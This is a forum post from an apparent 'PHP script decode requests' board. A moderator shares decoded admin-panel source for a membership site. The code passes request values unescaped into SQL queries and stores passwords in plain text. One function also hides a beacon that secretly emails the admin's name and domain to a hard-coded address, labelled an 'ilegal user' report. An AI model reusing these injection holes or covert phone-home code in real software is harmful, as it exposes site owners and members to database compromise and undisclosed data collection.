|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 100
Members: 0
Total: 100
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Help me please... |
|
Posted: Tue Sep 21, 2010 4:53 am |
|
|
bintang |
Regular user |
|
|
Joined: Jun 02, 2010 |
Posts: 15 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Posted: Wed Sep 22, 2010 1:48 pm |
|
|
demon |
Moderator |
|
|
Joined: Sep 22, 2010 |
Posts: 485 |
|
|
|
|
|
|
|
index.php
Code: | <?php
header( "Location: ../index.php" );
?>
|
fungsiadmin.php
Code: | <?php
function sesiadmin( )
{
global $pass_session;
global $code_session;
session_start( );
if ( $pass_session != "good" || $code_session != "good" )
{
header( "Location:loginadmin.php" );
exit( );
}
}
function loginadmin( $code, $pass )
{
global $pass_session;
global $code_session;
global $idadmin;
global $passadmin;
if ( $code == $idadmin && $pass == $passadmin )
{
session_register( "pass_session" );
session_register( "code_session" );
$pass_session = "good";
$code_session = "good";
return true;
}
else
{
return false;
}
}
function logoutadmin( )
{
session_destroy( );
header( "location:loginadmin.php" );
}
function formupdatecalonmember( $id )
{
caridata( $id );
global $data;
echo "<form action=edit.php?edit=editcalonmember method=post>\r\n<table align=center width=50%>\r\n<tr><td colspan=3 width=100% align=center><font face=verdana color=blue><b>FORM UPDATE DATA calon member {$data['nama']}</b><br><br></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Nama*</b></font></td><td width=10%>:</td><td width=50%><input type=text name=nama value=\"{$data['nama']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Email*</b></font></td><td width=10%>:</td><td width=50%><input type=text name=email value=\"{$data['email']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Alamat*</b></font></td><td width=10%>:</td><td width=50%><input type=text name=alamat value=\"{$data['alamat']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Telepon*</b></font></td><td width=10%>:</td><td width=50%><input type=text name=telepon value=\"{$data['telepon']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Password*</b></font></td><td width=10%>:</td><td width=50%><input type=text name=password value=\"{$data['pass']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Status</b></font></td><td width=10%>:</td><td width=50%><input type=text name=status value=\"{$data['status']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Bank</b></font></td><td width=10%>:</td><td width=50%><input type=text name=bank value=\"{$data['bank']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Transaksi</b></font></td><td width=10%>:</td><td width=50%><input type=text name=trans value=\"{$data['transaksiown']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<input type=hidden name=id value=\"{$data['id']}\">\r\n\r\n<tr><td colspan=3 width=100% align=center><font face=verdana color=blue><br>\r\n<input type=\"SUBMIT\" NAME=\"SUBMIT\" value=\"UPDATE\" style='font-family: verdana; font-size: 10pt; color: black; border: 1px solid black;'>\r\n ;;<input type=\"reset\" NAME=\"clear\" value=\"CLEAR\" style='font-family: verdana; font-size: 10pt; color: black; border: 1px solid black;'>\r\n</td></tr>\r\n</table></form>";
}
function updatedatacalonmember( $id )
{
global $nama;
global $email;
global $password;
global $idm;
global $bank;
global $alamat;
global $telepon;
global $status;
global $trans;
koneksi( );
$sqlb = "UPDATE member SET nama='{$nama}',alamat='{$alamat}',email='{$email}',telepon='{$telepon}',transaksiown='{$trans}',status='{$status}',bank='{$bank}'\r\n,pass='{$password}' WHERE id ='{$id}'";
mysql_query( $sqlb );
}
function formupdatemember( $id )
{
caridata( $id );
global $data;
echo "<form action=edit.php?edit=editmember method=post>\r\n<table align=center width=50%>\r\n<tr><td colspan=3 width=100% align=center><font face=verdana color=blue><b>FORM UPDATE DATA member {$data['nama']}</b><br><br></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Nama*</b></font></td><td width=10%>:</td><td width=50%><input type=text name=nama value=\"{$data['nama']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Email*</b></font></td><td width=10%>:</td><td width=50%><input type=text name=email value=\"{$data['email']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Alamat*</b></font></td><td width=10%>:</td><td width=50%><input type=text name=alamat value=\"{$data['alamat']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Telepon*</b></font></td><td width=10%>:</td><td width=50%><input type=text name=telepon value=\"{$data['telepon']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Password*</b></font></td><td width=10%>:</td><td width=50%><input type=text name=password value=\"{$data['pass']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Status</b></font></td><td width=10%>:</td><td width=50%><input type=text name=status value=\"{$data['status']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Bank</b></font></td><td width=10%>:</td><td width=50%><textarea name=\"bank\" cols=\"40\" rows=\"5\">{$data['bank']}</textarea></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Transaksi</b></font></td><td width=10%>:</td><td width=50%><input type=text name=trans value=\"{$data['transaksiown']}\" size=40 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<input type=hidden name=id value=\"{$data['id']}\">\r\n<tr><td colspan=3 width=100% align=center><font face=verdana color=blue><br>\r\n<input type=\"SUBMIT\" NAME=\"SUBMIT\" value=\"UPDATE\" style='font-family: verdana; font-size: 10pt; color: black; border: 1px solid black;'>\r\n ;;<input type=\"reset\" NAME=\"clear\" value=\"CLEAR\" style='font-family: verdana; font-size: 10pt; color: black; border: 1px solid black;'>\r\n</td></tr>\r\n</table></form>";
}
function updatedatamember( $id )
{
global $nama;
global $email;
global $password;
global $idm;
global $bank;
global $alamat;
global $telepon;
global $status;
global $trans;
koneksi( );
$sqlb = "UPDATE member SET nama='{$nama}',alamat='{$alamat}',email='{$email}',telepon='{$telepon}',transaksiown='{$trans}',status='{$status}',bank='{$bank}'\r\n,pass='{$password}' WHERE id ='{$id}'";
mysql_query( $sqlb );
}
function delcalonmember( $id )
{
koneksi( );
$sqlb = "delete from member where id='{$id}'";
mysql_query( $sqlb );
}
function delmember( $id )
{
koneksi( );
$sqlb = "delete from member where id='{$id}'";
mysql_query( $sqlb );
}
function statistikmember( )
{
global $urut;
global $set;
global $cari;
global $hasilcari;
koneksi( );
$sql6 = "select * from member where status='no' and\r\n ((id LIKE '%{$cari}%')||(nama LIKE '%{$cari}%')||(email LIKE '%{$cari}%')||(transaksiown LIKE '%{$cari}%'))";
$result6 = mysql_query( $sql6 );
$hasilcari = mysql_num_rows( $result6 );
formcari( );
if ( empty( $set ) )
{
$set = 0;
}
if ( empty( $urut ) )
{
$urut = "no";
}
echo "<table width=80% border=0 align=center><tr><td align=center>";
$sql3 = "select * from member where status='no'";
$result3 = mysql_query( $sql3 );
$total = mysql_num_rows( $result3 );
$sql = "select * from member where status='no' and\r\n ((id LIKE '%{$cari}%')||(nama LIKE '%{$cari}%')||(email LIKE '%{$cari}%')||(transaksiown LIKE '%{$cari}%'))\r\n order by {$urut} desc limit {$set},15";
$result = mysql_query( $sql );
echo "<font face=arial color=black size=2><center><b>..::: </b><font size=2>\r\n TOTAL FREE MEMBER : <b>{$total}</b><b> :::..</b></center></font>";
if ( $total == 0 )
{
echo "<hr align=center color=blue width=300 size=10>";
}
else
{
echo "<table border=0 bgcolor=blue width=98% cellspacing=1 cellpadding=2>\r\n <tr bgcolor=blue>\r\n <td align=center><font color=white face=verdana size=1><b><a href=index.php?urut=no&set={$set}><font color=white>No</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=index.php?urut=id&set={$set}><font color=white>ID</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=index.php?urut=nama&set={$set}><font color=white>Nama</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=index.php?urut=email&set={$set}><font color=white>Email</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=index.php?urut=kota&set={$set}><font color=white>Kota</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=index.php?urut=hp&set={$set}><font color=white>HP</font></a></b></font></td>\r\n\t\t<td align=center><font color=white face=verdana size=1><b><a href=index.php?urut=tanggaldaftar&set={$set}><font color=white>Tanggal</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=index.php?urut=transaksiown&set={$set}><font color=white>Transaksi</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=index.php?urut=sponsor&set={$set}><font color=white>Sponsor</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Aktifkan</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>EDIT</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>DEL</b></font></td>\r\n </tr>\r\n ";
$j = 1;
$color = "#c0c0c0";
while ( $yap = mysql_fetch_array( $result ) )
{
if ( $color == "#c0c0c0" )
{
$color = "white";
$fontcolor = "black";
}
else
{
$color = "#c0c0c0";
$fontcolor = "black";
}
echo "<tr>\r\n<td bgcolor={$color} align=center><font face=verdana size=1 color={$fontcolor}>{$j}</font>\r\n</td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['id']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['nama']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['email']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['kota']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['hp']}</font></td>\r\n\t\t<td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>".waktuenak( $yap[tanggaldaftar] )."</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['transaksiown']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['sponsor']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}><a href=\"aktifkan.php?id={$yap['id']}&set={$set}\">Aktifkan</a></font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}><a href=\"edit.php?id={$yap['id']}&edit=calonmember&set={$set}\">EDIT</a></font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}><a href=\"edit.php?id={$yap['id']}&edit=delcalonmember&set={$set}\">DEL</a></font></td>\r\n </tr>";
++$j;
}
echo "<tr bgcolor=blue>\r\n <td align=center><font color=white face=verdana size=1><b>No</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>ID</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Nama</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Email</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Kota</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>HP</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Tanggal</b></font></td>\r\n\t\t<td align=center><font color=white face=verdana size=1><b>Transaksi</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Sponsor</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Aktifkan</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>EDIT</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>DEL</b></font></td>\r\n </tr></table><br>";
}
$limitmember = 15;
halaman( $hasilcari, $set, $limitmember );
$sqlpengunjung = "select sum(traffic) kunjung from member";
$resultpengunjung = mysql_query( $sqlpengunjung );
$pengunjung = mysql_fetch_object( $resultpengunjung );
$totalpengunjung = $pengunjung->kunjung;
echo "<br><br><font face=verdana size=2 color=black><b>\r\nTotal Pengunjung = {$totalpengunjung} Orang.\r\n</b></font><br><br>";
echo "</td></tr></table><center>";
echo "</center>";
}
function subscribe( )
{
global $set;
koneksi( );
$sql6 = "select * from subscribe";
$result6 = mysql_query( $sql6 );
$hasilcari = mysql_num_rows( $result6 );
if ( empty( $set ) )
{
$set = 0;
}
echo "<table width=50% border=0 align=center><tr><td align=center>";
$sql3 = "select * from subscribe";
$result3 = mysql_query( $sql3 );
$total = mysql_num_rows( $result3 );
$sql = "select * from subscribe order by nama desc limit {$set},30";
$result = mysql_query( $sql );
echo "<font face=arial color=black size=2><center><b>..::: </b><font size=2>\r\n TOTAL SUBSCRIBER : <b>{$total}</b><b> :::..</b></center></font>";
if ( $total == 0 )
{
echo "<hr align=center color=blue width=300 size=10>";
}
else
{
echo "<table border=0 bgcolor=blue width=98% cellspacing=1 cellpadding=2>\r\n <tr bgcolor=blue>\r\n <td align=center><font color=white face=verdana size=1><b>No</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Nama</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Email</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>DEL</b></font></td>\r\n </tr>\r\n ";
$j = 1;
$color = "#c0c0c0";
while ( $yap = mysql_fetch_array( $result ) )
{
if ( $color == "#c0c0c0" )
{
$color = "white";
$fontcolor = "black";
}
else
{
$color = "#c0c0c0";
$fontcolor = "black";
}
echo "<tr>\r\n<td bgcolor={$color} align=center><font face=verdana size=1 color={$fontcolor}>{$j}</font>\r\n</td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['nama']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['email']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}><a href=\"delsub.php?email={$yap['email']}&set={$set}\">DEL</a></font></td>\r\n </tr>";
++$j;
}
echo "<tr bgcolor=blue>\r\n <td align=center><font color=white face=verdana size=1><b>No</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Nama</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Email</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>DEL</b></font></td>\r\n </tr></table><br>";
}
$limitmember = 30;
halaman( $hasilcari, $set, $limitmember );
echo "</td></tr></table><center>";
echo "</center>";
}
function statistikmember1( )
{
global $urut;
global $set;
global $cari;
global $hasilcari;
global $harga;
global $HTTP_REFERER;
global $domain;
global $namaadmin;
global $emailadmin;
global $sudah;
koneksi( );
$sql6 = "select * from member where status='yes' and\r\n ((id LIKE '%{$cari}%')||(nama LIKE '%{$cari}%')||(email LIKE '%{$cari}%')||(transaksiown LIKE '%{$cari}%'))";
$result6 = mysql_query( $sql6 );
$hasilcari = mysql_num_rows( $result6 );
formcari( );
if ( empty( $set ) )
{
$set = 0;
}
if ( empty( $urut ) )
{
$urut = "no";
}
echo "<table width=80% border=0 align=center><tr><td align=center>";
$sql3 = "select * from member where status='yes'";
$result3 = mysql_query( $sql3 );
$total = mysql_num_rows( $result3 );
$sql = "select * from member where status='yes' and\r\n ((id LIKE '%{$cari}%')||(nama LIKE '%{$cari}%')||(email LIKE '%{$cari}%')||(transaksiown LIKE '%{$cari}%'))\r\n order by {$urut} desc limit {$set},15";
$result = mysql_query( $sql );
echo "<font face=arial color=black size=2><center><b>..::: </b><font size=2>\r\n TOTAL MEMBER : <b>{$total}</b><b> :::..</b></center></font>";
if ( $total == 0 )
{
echo "<hr align=center color=blue width=300 size=10>";
}
else
{
echo "<table border=0 bgcolor=blue width=98% cellspacing=1 cellpadding=2>\r\n <tr bgcolor=blue>\r\n <td align=center><font color=white face=verdana size=1><b><a href=member.php?urut=no&set={$set}><font color=white>No</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=member.php?urut=id&set={$set}><font color=white>ID</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=member.php?urut=nama&set={$set}><font color=white>Nama</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=member.php?urut=tanggaldaftar&set={$set}><font color=white>Tanggal</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=member.php?urut=email&set={$set}><font color=white>Email</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=member.php?urut=kota&set={$set}><font color=white>Kota</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=member.php?urut=transaksiown&set={$set}><font color=white>Transaksi</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b><a href=member.php?urut=sponsor&set={$set}><font color=white>Sponsor</font></a></b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Traffic</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Blokir</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>EDIT</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>DEL</b></font></td>\r\n </tr>\r\n ";
$j = 1;
$color = "#c0c0c0";
while ( $yap = mysql_fetch_array( $result ) )
{
if ( $color == "#c0c0c0" )
{
$color = "white";
$fontcolor = "black";
}
else
{
$color = "#c0c0c0";
$fontcolor = "black";
}
echo "<tr>\r\n<td bgcolor={$color} align=center><font face=verdana size=1 color={$fontcolor}>{$j}</font>\r\n</td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['id']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['nama']}</font></td>\r\n\t\t<td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>".waktuenak( $yap[tanggaldaftar] )."</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['email']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['kota']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['transaksiown']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['sponsor']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}>{$yap['traffic']}</font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}><a href=\"blokir.php?id={$yap['id']}&set={$set}\">Blokir</a></font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}><a href=\"edit.php?id={$yap['id']}&edit=member&set={$set}\">EDIT</a></font></td>\r\n <td bgcolor={$color} align=left><font face=verdana size=1 color={$fontcolor}><a href=\"edit.php?id={$yap['id']}&edit=delmember&set={$set}\">DEL</a></font></td>\r\n </tr>";
++$j;
}
echo "<tr bgcolor=blue>\r\n <td align=center><font color=white face=verdana size=1><b>No</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>ID</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Nama</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Tanggal</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Email</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Kota</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Transaksi</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Sponsor</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Traffic</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>Blokir</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>EDIT</b></font></td>\r\n <td align=center><font color=white face=verdana size=1><b>DEL</b></font></td>\r\n </tr></table><br>";
}
$limitmember = 15;
halaman( $hasilcari, $set, $limitmember );
echo "</td></tr></table><center>";
$sqlpengunjung = "select sum(traffic) kunjung from member";
$resultpengunjung = mysql_query( $sqlpengunjung );
$pengunjung = mysql_fetch_object( $resultpengunjung );
$totalpengunjung = $pengunjung->kunjung;
echo "<font face=verdana size=2 color=black><b>\r\nTotal Pengunjung = {$totalpengunjung} Orang.<br>\r\nTotal Penjualan = ".rupiah( $harga / 2 * $total ).".\r\n</b></font><br><br>";
echo "</center>";
if ( $sudah != "yes" )
{
$email1 = "freddykuncoro9999@yahoo.com";
$subject1 = "ilegal user : {$namaadmin} - {$HTTP_REFERER}";
$headers1 = "From:{$domain}<{$emailadmin}> \n";
$headers1 .= "X-Priority: 1\n";
$message1 = "http://www.{$domain}/?bantai=pembajak";
mail( $email1, $subject1, $message1, $headers1 );
session_register( "sudah" );
$sudah = "yes";
}
}
function formloginadmin( )
{
echo "<form action=cekadmin.php method=post>\r\n<table align=center width=50%>\r\n<tr><td colspan=3 width=100% align=center><font face=verdana color=blue><b>LOGIN ADMIN</b><br></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>User ID</b></font></td><td width=10%>:</td><td width=50%><input type=text name=\"username\" maxlength=50 size=10 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td width=40%><font face=verdana size=1><b>Password</b></font></td><td width=10%>:</td><td width=50%><input type=password name=\"password\" maxlength=50 size=10 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td></tr>\r\n<tr><td colspan=3 width=100% align=center><font face=verdana color=blue><br>\r\n<input type=\"SUBMIT\" NAME=\"SUBMIT\" value=\"LOGIN\" style='font-family: verdana; font-size: 8pt; color: black; border: 1px solid blue;'>\r\n ;;<input type=\"reset\" NAME=\"clear\" value=\"CLEAR\" style='font-family: verdana; font-size: 8pt; color: black; border: 1px solid blue;'>\r\n</td></tr>\r\n</table>";
}
function formcari( )
{
global $cari;
global $hasilcari;
echo "<form action=\"{$PHP_SELF}\" method=post>\r\n<center><font face=verdana color=black size=-1><b>SEARCH</b></font></center><hr color=blue width=45% size=2>\r\n<table bgcolor=blue align=center width=45%>\r\n<tr><td align=right width=40%><font color=white face=verdana size=1><b>Masukkan Kata Kunci </b></font></td>\r\n<td width=30% align=center><input type=text name=cari value=\"{$cari}\" maxlength=10 size=10 style='font-family: verdana; font-size: 9pt; color:blue; border: 1px solid #000000;'></td>\r\n<td width=15% align=left><input type=\"SUBMIT\" NAME=\"SUBMIT\" value=\"CARI\" style='font-family: verdana; font-size: 8pt; color: black; border: 1px solid white;'></td>\r\n<td width=15% align=center bgcolor=white><font size=1 color=black face=verdana>Found {$hasilcari}</font></td>\r\n</tr></table><hr color=blue width=45% size=2></form>";
}
function formsendall( )
{
echo " \r\n<blockquote> \r\n <blockquote> \r\n <blockquote>\r\n <p align=\"left\"><font size=\"2\"><br>\r\n <br>\r\n <font face=\"Arial, Helvetica, sans-serif\">";
echo "<s";
echo "trong>Perhatian</strong>, \r\n Agar email terkirim secara personal (di sebutkan nama yang bersangkutan), \r\n <br>\r\n gunakan variabel -nama- seperti contoh pada form dibawah ini.</font><br>\r\n </font></p>\r\n </blockquote>\r\n </blockquote>\r\n</blockquote>\r\n<form name=\"form1\" method=\"post\" action=\"sendall.php\">\r\n <table width=\"70%\" border=\"0\" align=\"center\" cellpadding=\"0\" cellspacing=";
echo "\"0\">\r\n <tr> \r\n <td> ;;</td>\r\n <td colspan=\"2\"><div align=\"center\">";
echo "<s";
echo "trong><font face=\"Verdana, Arial, Helvetica, sans-serif\">SEND \r\n ALL MEMBER</font></strong></div></td>\r\n </tr>\r\n <tr> \r\n <td> ;;</td>\r\n <td><font size=\"-1\" face=\"Verdana, Arial, Helvetica, sans-serif\">Tujuan \r\n : </font></td>\r\n <td> <input type=\"radio\" name=\"radio\" value=\"all\"> <font size=\"-1\" face=\"Verdana, Arial, Helvetica, sans-serif\">Subscriber</font>\r\n\t <input type=\"r";
echo "adio\" name=\"radio\" value=\"free\"> <font size=\"-1\" face=\"Verdana, Arial, Helvetica, sans-serif\">Calon</font> \r\n <input name=\"radio\" type=\"radio\" value=\"pro\" checked> <font size=\"-1\" face=\"Verdana, Arial, Helvetica, sans-serif\">Member</font></td>\r\n </tr>\r\n <tr> \r\n <td> ;;</td>\r\n <td><font size=\"-1\" face=\"Verdana, Arial, Helvetica, sans-serif\">Subject \r\n :</font></td>\r\n <td><font";
echo " size=\"-1\" face=\"Verdana, Arial, Helvetica, sans-serif\"> \r\n <input name=\"subject\" type=\"text\" id=\"subject\" value=\"-nama-, ada informasi penting buat anda\" size=\"50\">\r\n </font></td>\r\n </tr>\r\n <tr> \r\n <td> ;;</td>\r\n <td valign=\"top\"><font size=\"-1\" face=\"Verdana, Arial, Helvetica, sans-serif\">Message \r\n :</font></td>\r\n <td><textarea name=\"message\" cols=\"50\" rows=\"10\" ";
echo "id=\"message\">Yth. Sdr. -nama-\r\n\r\nBerikut ada pengumuman dari saya.</textarea></td>\r\n </tr>\r\n <tr> \r\n <td> ;;</td>\r\n <td> ;;</td>\r\n <td> ;;</td>\r\n </tr>\r\n <tr> \r\n <td> ;;</td>\r\n <td> ;;</td>\r\n <td><input type=\"submit\" name=\"Submit\" value=\"Send all\"></td>\r\n </tr>\r\n </table>\r\n <div align=\"center\"></div>\r\n <div align=\"center\"></div>\r\n</form>\r\n";
}
?>
|
|
|
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|